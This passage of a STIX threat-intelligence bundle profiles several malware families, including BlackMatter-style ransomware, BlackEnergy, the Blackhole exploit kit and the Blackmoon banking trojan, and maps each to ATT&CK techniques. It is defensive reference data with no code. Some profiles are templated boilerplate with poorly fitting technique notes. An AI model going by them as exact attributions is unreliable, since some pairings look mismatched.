      "description": "Bkff exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--8c3f00ac-7dba-5f60-8297-a08df476903a",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--9d397910-def9-5b04-8488-2c82e189a49c",
      "target_ref": "attack-pattern--f610f9c7-f371-50da-a04d-35ef5c472e9a",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Bkff exhibits technique T1059 (Command and Scripting Interpreter)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--370c0b8b-23b5-53ae-9414-7127f1461750",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Black",
      "description": "Black (cataloged across threat telemetry as Ransom:Win32/Black, Ransomware.BlackMatter, and Trojan-Ransom.Win32.Black) is an aggressive double-extortion enterprise ransomware family. Operating with advanced evasion techniques, Black utilizes Salsa20 and RSA public-key encryption to rapidly lock files across local drives and accessible network shares. The ransomware actively terminates critical database, virtualization, and endpoint security processes, purges Volume Shadow Copies using vssadmin, deletes system backups, and drops ransom notes instructing victims to negotiate through Tor payment portals under threat of data exfiltration and public disclosure. (Observed samples in benchmark: 329)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Ransom:Win32/Black",
        "Ransomware.BlackMatter",
        "Trojan-Ransom.Win32.Black",
        "Win32/Black.Ransomware",
        "BlackMatter.Ransom"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Black",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/black"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--c23281e9-c5b5-5616-8b34-4de04bf10a7e",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--370c0b8b-23b5-53ae-9414-7127f1461750",
      "target_ref": "attack-pattern--39fc3e3b-4925-51bd-9e25-b333ad9f6a10",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Black exhibits technique T1486 (Data Encrypted for Impact)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--5e51ed25-1371-5982-89b4-0170acfa7ff7",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--370c0b8b-23b5-53ae-9414-7127f1461750",
      "target_ref": "attack-pattern--f2075d7b-16c2-58d2-9cc6-630d2c2ccc49",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Black exhibits technique T1490 (Inhibit System Recovery)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--4139f430-f5b8-542c-9b91-0597d0b01582",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--370c0b8b-23b5-53ae-9414-7127f1461750",
      "target_ref": "attack-pattern--8d654e3a-ab3a-5a68-a2dd-c7e622d3b49f",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Black exhibits technique T1059.003 (Command and Scripting Interpreter: Windows Command Shell)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--48de918a-145f-52a8-af8a-66243d82b93d",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--370c0b8b-23b5-53ae-9414-7127f1461750",
      "target_ref": "attack-pattern--9561e493-14f3-5fcb-a83c-f95649da6548",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Black exhibits technique T1071.001 (Application Layer Protocol: Web Protocols)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--5b229f71-2a1d-5ce3-95b7-dd2aea611927",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--370c0b8b-23b5-53ae-9414-7127f1461750",
      "target_ref": "attack-pattern--07f2a5f1-0132-5a8d-8dbb-fae899993f56",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Black exhibits technique T1562.001 (Impair Defenses: Disable or Modify Tools)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--e5137091-140d-5104-bb8e-0d932c30a13b",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Blacked",
      "description": "Blacked (classified in antivirus detection telemetry under designations including Ransom:Win32/Blacked, Ransom.Win32.Blacked, and Win32/Blacked) is a crypto-ransomware designed to locate, encrypt, and hold hostage high-value user documents, database stores, and system files. Disseminated across enterprise networks and consumer workstations via social engineering, phishing attachments, malicious drive-by downloads, or weaponized software cracks, Blacked executes an initial reconnaissance phase upon system ingress. The binary evaluates host privileges, detects active hypervisors and sandbox environments to evade behavioral analysis, and establishes resilient autostart persistence by configuring registry keys under HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run or registering background Windows services. Operational mechanics characteristic of this family include file system traversal, high-speed symmetric/asymmetric encryption, Volume Shadow Copy destruction via vssadmin, and extortion note display. Outbound communication is established with remote threat actor infrastructure to beacon operational status and receive tasking, posing significant security risks to data integrity and host availability. (Observed samples in benchmark: 3)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Ransom:Win32/Blacked",
        "Ransom.Win32.Blacked",
        "Win32/Blacked"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Blacked",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/blacked"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--2be8c61d-ae46-5996-ab86-c17be1833398",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--e5137091-140d-5104-bb8e-0d932c30a13b",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Blacked exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--2d8d2b9a-6dc5-5b94-88e6-07df77523c8a",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--e5137091-140d-5104-bb8e-0d932c30a13b",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Blacked exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--de164fd7-f1c6-59e2-8c8c-79c3e3e3c256",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--e5137091-140d-5104-bb8e-0d932c30a13b",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Blacked exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--7b98805e-3c01-5460-ae11-257c25c3e417",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--e5137091-140d-5104-bb8e-0d932c30a13b",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Blacked exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--207039af-addc-5805-9dfe-c702a189c3dd",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--e5137091-140d-5104-bb8e-0d932c30a13b",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Blacked exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--ac103514-61e2-5233-8899-521edf15eabe",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Blackenergy",
      "description": "BlackEnergy is an advanced, modular persistent threat (APT) framework originally authored in 2007 by Ukrainian hacker Dmytro Oleksiuk (alias 'Cr4sh') as an underground HTTP-based distributed denial-of-service (DDoS) botnet. Between 2010 and 2014, the codebase was heavily overhauled and co-opted by Russian state-sponsored threat actors\u2014specifically the Russian General Staff Main Intelligence Directorate (GRU) Unit 74455 and Unit 26165, collectively tracked worldwide as Sandworm Team (TeleBots, Voodoo Bear).\n\nUnder Sandworm development, BlackEnergy 2 and BlackEnergy 3 evolved into a multi-tiered cyber espionage and industrial sabotaging platform. The framework utilized rootkit drivers, modular DLL payloads, and specialized industrial control system (ICS/SCADA) plugins targeting serial-to-ethernet converters and Human-Machine Interface (HMI) workstations. On December 23, 2015, Sandworm deployed BlackEnergy 3 alongside the destructive KillDisk wiper component against Ukraine's electricity distribution grid (Kyivoblenergo), severing power to approximately 230,000 citizens in the world's first publicly acknowledged electrical blackout triggered by a cyber weapon. BlackEnergy was subsequently highlighted in the October 2020 US Department of Justice indictment charging six GRU Unit 74455 officers with global cyber intrusions. (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "BlackEnergy",
        "BlackEnergy 2",
        "BlackEnergy 3",
        "Sandworm Toolkit",
        "Win32/BlackEnergy",
        "Backdoor.BlackEnergy"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Blackenergy",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/blackenergy"
        }
      ],
      "labels": [
        "advanced_threat",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--4fbee720-b6f9-5053-8b7d-1255cd4c837e",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--ac103514-61e2-5233-8899-521edf15eabe",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Blackenergy exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--49439f3d-efe9-5672-b1c2-f4028ef6cb85",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--ac103514-61e2-5233-8899-521edf15eabe",
      "target_ref": "attack-pattern--8d654e3a-ab3a-5a68-a2dd-c7e622d3b49f",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Blackenergy exhibits technique T1059.003 (Command and Scripting Interpreter: Windows Command Shell)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--d48ee357-bb5e-528b-9d46-c9ae34735f7b",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--ac103514-61e2-5233-8899-521edf15eabe",
      "target_ref": "attack-pattern--07f2a5f1-0132-5a8d-8dbb-fae899993f56",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Blackenergy exhibits technique T1562.001 (Impair Defenses: Disable or Modify Tools)."
    },
    {
      "type": "attack-pattern",
      "spec_version": "2.1",
      "id": "attack-pattern--a1097f7e-2aee-5bd4-ba08-a98048ff4e08",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "T1485: Data Destruction",
      "description": "MITRE ATT&CK Technique T1485 (Data Destruction) under tactic Impact.",
      "external_references": [
        {
          "source_name": "mitre-attack",
          "external_id": "T1485",
          "url": "https://attack.mitre.org/techniques/T1485/"
        }
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--43336f7a-0ce4-565b-bf70-07a48de041cc",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--ac103514-61e2-5233-8899-521edf15eabe",
      "target_ref": "attack-pattern--a1097f7e-2aee-5bd4-ba08-a98048ff4e08",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Blackenergy exhibits technique T1485 (Data Destruction)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--77441bee-ff46-5045-a1d6-0bfc91882512",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--ac103514-61e2-5233-8899-521edf15eabe",
      "target_ref": "attack-pattern--9561e493-14f3-5fcb-a83c-f95649da6548",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Blackenergy exhibits technique T1071.001 (Application Layer Protocol: Web Protocols (C2 Communication))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--cbacaeed-dc19-5615-9458-35583c6457e4",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--ac103514-61e2-5233-8899-521edf15eabe",
      "target_ref": "attack-pattern--4f110b42-2ede-5143-bbfc-b26a59caa2b6",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Blackenergy exhibits technique T1082 (System Information Discovery)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--554a44ed-c9a4-50dd-8e34-7b637e3930a7",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Blackhole",
      "description": "Blackhole (historically documented as Exploit:Win32/Blackhole and the Blackhole Exploit Kit / BHEK) was the single most dominant commercial exploit kit in the cybersecurity landscape between 2010 and 2013, operated by the cybercriminal author known as 'Paunch'. Hosted on thousands of compromised web servers and promoted via malicious spam and malvertising, Blackhole fingerprinted visiting web browsers and dynamically loaded weaponized browser exploits targeting vulnerabilities in Oracle Java (e.g., CVE-2012-0507, CVE-2012-1723), Adobe Flash Player, Adobe Reader, and Internet Explorer. Once an exploit achieved memory corruption and code execution, Blackhole executed shellcode to silently download and install secondary banking trojans (such as Zeus, Citadel) and ransomware (such as Reveton). (Observed samples in benchmark: 14)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Exploit:Win32/Blackhole",
        "Blackhole Exploit Kit",
        "BHEK",
        "TrojanDownloader:Win32/Blackhole",
        "Exploit.Blackhole"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Blackhole",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/blackhole"
        }
      ],
      "labels": [
        "exploit_kit",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--cf594a51-5932-5e64-b4db-cb8f2dfcf2d8",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--554a44ed-c9a4-50dd-8e34-7b637e3930a7",
      "target_ref": "attack-pattern--4054acd0-ca17-521d-b3cb-772b441a9f32",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Blackhole exhibits technique T1189 (Drive-by Compromise)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--c6b9f491-b0c1-5c64-b75a-67bbcd96e91a",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--554a44ed-c9a4-50dd-8e34-7b637e3930a7",
      "target_ref": "attack-pattern--be10f842-949a-5910-87e6-3068819d42e6",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Blackhole exhibits technique T1190 (Exploit Public-Facing Application (Browser/Plugin Exploitation))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--6f52fd9e-fc2d-54d0-8892-017939bdf31a",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--554a44ed-c9a4-50dd-8e34-7b637e3930a7",
      "target_ref": "attack-pattern--4f110b42-2ede-5143-bbfc-b26a59caa2b6",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Blackhole exhibits technique T1082 (System Information Discovery (Environment Profiling))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--4e06be3a-2abc-5067-b03b-f0b6443c5d1e",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--554a44ed-c9a4-50dd-8e34-7b637e3930a7",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Blackhole exhibits technique T1027 (Obfuscated Files or Information (JavaScript Obfuscation))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--5b6114e9-cd40-5fc3-8608-3c1e7a4482d1",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--554a44ed-c9a4-50dd-8e34-7b637e3930a7",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Blackhole exhibits technique T1105 (Ingress Tool Transfer (Payload Delivery))."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--e0eac7db-71f8-5d63-9444-f6b5c6337021",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Blackmoon",
      "description": "Trojan:Win32/Blackmoon (widely designated in cybersecurity research as KRBanker) is a destructive, regionally focused banking trojan that emerged in 2014, specifically engineered to plunder financial accounts at major South Korean commercial banks and financial institutions. Blackmoon operates by altering Windows DNS resolution settings and injecting malicious redirection rules directly into the system 'hosts' file (%SystemRoot%\\System32\\drivers\\etc\\hosts) and local proxy configurations (PAC files). When users attempt to navigate to legitimate banking portals (including Shinhan Bank, Kookmin Bank, Woori Bank, and Hana Bank), Blackmoon redirects traffic to pixel-perfect fraudulent clone websites. These pharming portals prompt victims to input their complete digital banking certificates (NPKI), resident registration numbers (RRN), account credentials, and physical security card matrices (all 35 security card codes). The trojan incorporates rootkit hooks into system network APIs, encrypted C2 communications using AES, and dynamic dropper distribution via compromised local Korean software update mechanisms and watering-hole sites. (Observed samples in benchmark: 228)",
      "is_family": true,
      "malware_types": [
        "trojan",
        "banking-trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Blackmoon",
        "KRBanker",
        "Trojan.Blackmoon",
        "Win32/Blackmoon",
        "Banker.KRBanker"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Blackmoon",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/blackmoon"
        }
      ],
      "labels": [
        "banking_trojan",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "attack-pattern",
      "spec_version": "2.1",
      "id": "attack-pattern--32026a6b-554c-53d2-9296-d2873dd39327",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "T1565.002: Transmitted Data Manipulation",
      "description": "MITRE ATT&CK Technique T1565.002 (Transmitted Data Manipulation) under tactic impact.",
      "external_references": [
        {
          "source_name": "mitre-attack",
          "external_id": "T1565.002",
          "url": "https://attack.mitre.org/techniques/T1565/002/"
        }
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--0b0e5dab-83dc-592c-a30b-ee937212b16e",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--e0eac7db-71f8-5d63-9444-f6b5c6337021",
      "target_ref": "attack-pattern--32026a6b-554c-53d2-9296-d2873dd39327",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Blackmoon exhibits technique T1565.002 (Transmitted Data Manipulation)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--06e10f54-42fa-5463-b654-afb05a5b154c",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--e0eac7db-71f8-5d63-9444-f6b5c6337021",
      "target_ref": "attack-pattern--6fa87c46-0565-5b5a-889d-44254001e763",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Blackmoon exhibits technique T1185 (Browser Session Hijacking)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--f03ef9dc-bec5-55dd-b2d2-208af56fac54",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--e0eac7db-71f8-5d63-9444-f6b5c6337021",
      "target_ref": "attack-pattern--87ff6f4d-2443-560e-9936-9f380887aee1",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Blackmoon exhibits technique T1555.003 (Credentials from Web Browsers)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--e5036e36-1b91-5786-a7d3-1e6384db38ca",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--e0eac7db-71f8-5d63-9444-f6b5c6337021",
      "target_ref": "attack-pattern--9561e493-14f3-5fcb-a83c-f95649da6548",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Blackmoon exhibits technique T1071.001 (Web Protocols)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--632f0b6e-f4e7-57fa-928e-e3f774485a10",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--e0eac7db-71f8-5d63-9444-f6b5c6337021",
      "target_ref": "attack-pattern--95fcfa9c-4678-5a49-9758-2507908bd03c",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Blackmoon exhibits technique T1566.002 (Spearphishing Link)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--5da8bcd6-02dc-55b4-85ef-db88b3390326",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--e0eac7db-71f8-5d63-9444-f6b5c6337021",
      "target_ref": "attack-pattern--5f54d0f8-5d15-5341-b1b0-5a7cbe6761ce",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Blackmoon exhibits technique T1056.001 (Keylogging)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--64ba4388-ce37-5e02-bb51-8eefe3414f1f",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Blackstealer",
      "description": "Blackstealer (classified in antivirus detection telemetry under designations including PWS:Win32/Blackstealer, PWS.Win32.Blackstealer, and Win32/Blackstealer) is a dedicated information theft malware engineered to harvest stored credentials, browser session cookies, cryptocurrency wallets, and keystrokes. Disseminated across enterprise networks and consumer workstations via social engineering, phishing attachments, malicious drive-by downloads, or weaponized software cracks, Blackstealer executes an initial reconnaissance phase upon system ingress. The binary evaluates host privileges, detects active hypervisors and sandbox environments to evade behavioral analysis, and establishes resilient autostart persistence by configuring registry keys under HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run or registering background Windows services. Operational mechanics characteristic of this family include credential database extraction, API hooking, system discovery, and encrypted C2 exfiltration. Outbound communication is established with remote threat actor infrastructure to beacon operational status and receive tasking, posing significant security risks to data integrity and host availability. (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "spyware",
        "credential-stealer"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Trojan.BlackStealer",
        "Infostealer.Black",
        "Win32/Spy.Stealer",
        "PWS:Win32/Blackstealer",
        "PWS.Win32.Blackstealer",
        "Win32/Blackstealer"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Blackstealer",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/blackstealer"
        }
      ],
      "labels": [
        "infostealer",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--eb266375-2b64-5333-a695-3ac3af8136c4",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--64ba4388-ce37-5e02-bb51-8eefe3414f1f",
      "target_ref": "attack-pattern--87ff6f4d-2443-560e-9936-9f380887aee1",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Blackstealer exhibits technique T1555.003 (Credentials from Web Browsers)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--9bd2cf33-784a-542c-bbba-8522d2eb2ef4",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--64ba4388-ce37-5e02-bb51-8eefe3414f1f",
      "target_ref": "attack-pattern--30e9046a-dc48-58d0-a60d-f1836784f5a7",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Blackstealer exhibits technique T1005 (Data from Local System (Scraping RAM for Track 1/Track 2 data))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--681071db-b201-5c2e-883c-df9b0647a449",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--64ba4388-ce37-5e02-bb51-8eefe3414f1f",
      "target_ref": "attack-pattern--98e185c4-a84d-5a1b-a879-c69780574fe0",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Blackstealer exhibits technique T1114 (Email Collection (Harvesting addresses for spamming))."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--d635b876-2b60-55ca-9c27-5b6d0415c3dd",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Blackv",
      "description": "BlackV (classified across threat intelligence feeds as Ransom:Win32/BlackV and Trojan-Ransom.Win32.BlackV) is an aggressive Windows crypto-ransomware family designed for rapid enterprise file destruction and financial extortion. Once executed, BlackV enumerates fixed disks, mounted network volumes, and USB peripherals, targeting documents, archives, virtual machine images, and databases. BlackV employs a hybrid encryption routine using ChaCha20/AES with an embedded RSA public master key. Encrypted files are renamed with the .blackv extension, and ransom notes titled RESTORE_BLACKV_FILES.txt are created across all processed folders. The ransomware deletes all system shadow copies and event logs. (Observed samples in benchmark: 15)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Ransom:Win32/BlackV",
        "Trojan-Ransom.Win32.BlackV",
        "Win32/BlackV",
        "BlackV Ransomware",
        "Ransom.BlackV"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
